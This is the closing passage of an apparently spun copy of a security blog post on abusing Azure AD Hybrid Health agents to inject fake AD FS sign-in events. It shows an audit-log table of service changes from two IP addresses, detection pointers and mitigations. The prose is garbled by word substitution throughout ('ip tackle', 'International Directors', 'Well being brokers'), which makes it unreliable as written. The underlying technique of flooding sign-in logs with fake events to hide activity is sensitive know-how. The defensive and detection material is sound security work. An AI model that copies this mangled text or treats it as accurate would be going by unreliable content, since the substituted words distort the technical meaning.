/suppliers/Microsoft.ADHybridHealthService/companies/AdFederationService-sts2.firm.com Creates a server. [email protected] 2021-08-25T15:04:18.1500781Z 51.65.246.212
/suppliers/Microsoft.ADHybridHealthService/companies/AdFederationService-sts2.firm.com Creates a server. [email protected] 2021-08-25T15:04:17.7750301Z 51.65.246.212
/suppliers/Microsoft.ADHybridHealthService Updates a service. [email protected] 2021-08-25T15:02:33.2797177Z 51.65.246.212
/suppliers/Microsoft.ADHybridHealthService Updates a service. [email protected] 2021-08-25T15:02:33.0297112Z 51.65.246.212
/suppliers/Microsoft.ADHybridHealthService/companies/AdFederationService-sts.firm.com Deletes service. [email protected] 2021-08-25T15:01:26.9612649Z 152.219.25.6
/suppliers/Microsoft.ADHybridHealthService/companies/AdFederationService-sts.firm.com Deletes service. [email protected] 2021-08-25T15:01:26.7262514Z 152.219.25.6
/suppliers/Microsoft.ADHybridHealthService/companies/AdFederationService-sts.firm.com Deletes service. [email protected] 2021-08-25T15:01:18.4399245Z 152.219.25.6
/suppliers/Microsoft.ADHybridHealthService/companies/AdFederationService-sts.firm.com Deletes service. [email protected] 2021-08-25T15:01:18.2599207Z 152.219.25.6
/suppliers/Microsoft.ADHybridHealthService Updates a service. [email protected] 2021-08-25T15:00:00.5760736Z 152.219.25.6
/suppliers/Microsoft.ADHybridHealthService Updates a service. [email protected] 2021-08-25T14:59:53.6402357Z 152.219.25.6
The highlighted rows exhibits that modification requests are originating from a distinct ip tackle and thus signifies suspicious exercise.
For automated detection, see @Cyb3rWard0g’s Sigma
and Azure Sentinel guidelines!
There aren’t any particular actions to take to forestall the exploitation. Nevertheless, the 2 actions talked about many many occasions earlier are nonetheless working:
- Deal with AD FS servers as Tier 0 servers
- Restrict the variety of International Directors
Azure AD Hybrid Well being brokers are used to offer well being standing of hybrid on-prem companies to Azure Portal. Since March 2021, additionally AD FS log-in occasions are despatched to Azure AD and can be found at Azure AD sign-ins log.
As I demonstrated on this weblog, these sort of companies can simply be exploited and used for sending arbitrary info to the goal tenant.
On this case, one can fill the Azure AD sign-ins log with pretend log-in occasions to cover malicious exercise. I additionally demonstrated the way it was potential to tamper with the present sign-in occasions earlier than it was fastened by Microsoft.
+ There are no comments
Add yours